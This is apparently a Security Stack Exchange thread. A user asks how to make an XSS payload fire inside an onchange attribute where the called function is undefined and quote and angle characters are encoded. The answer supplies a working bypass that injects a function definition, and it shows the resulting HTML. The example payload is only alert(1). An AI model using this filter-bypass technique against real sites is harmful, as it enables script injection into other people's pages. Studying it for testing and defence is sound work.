1

The XSS vector is at the * but the function issue_type is not declared hence my payload is not getting executed.

following is the instance of the vulnerable code:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

so I tried:-

issue_id=alert(1)

which resulted into:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

as function issue_type is not defined in the page the payload did not execute as the onchange attribute did not execute. The characters <>&"' cannot be used as they are encoded

How can i modify my payload to exploit xss?

3
  • 3
    The issue is the issue_type fun is not defined on the page. Your payload is not executed. The solution is to define issue_type fun yourself and include your payload. MDN Web Docs: Introduction to events, Functions, OWASP: XSS. Commented Apr 7, 2023 at 20:08
  • 1
    This is a pure programming question and is off-topic on Security SE.
    – mentallurg
    Commented Apr 7, 2023 at 20:39
  • Coercing data into code execution in abnormal ways is not programming in the traditional sense. It's largely a problem in the exploitation space which makes it more related to security than the other SE verticals imho.
    – wireghoul
    Commented Apr 11, 2023 at 3:05

1 Answer 1

0

As you noticed, the payload currently doesn't work, as you will get a function not defined error:

Uncaught ReferenceError: issue_type is not defined

The solution is to define the function yourself. As it doesn't matter if the function is defined before or after it is used, you can do so by injecting 1);function issue_type(){alert(1)}//, which will give you something like this:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1);function issue_type(){alert(1)}//,1);" style="height:30px;">
<option>1</option>
<option>2</option>
</select>

As the function is now defined, the JavaScript will work & the payload will trigger.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .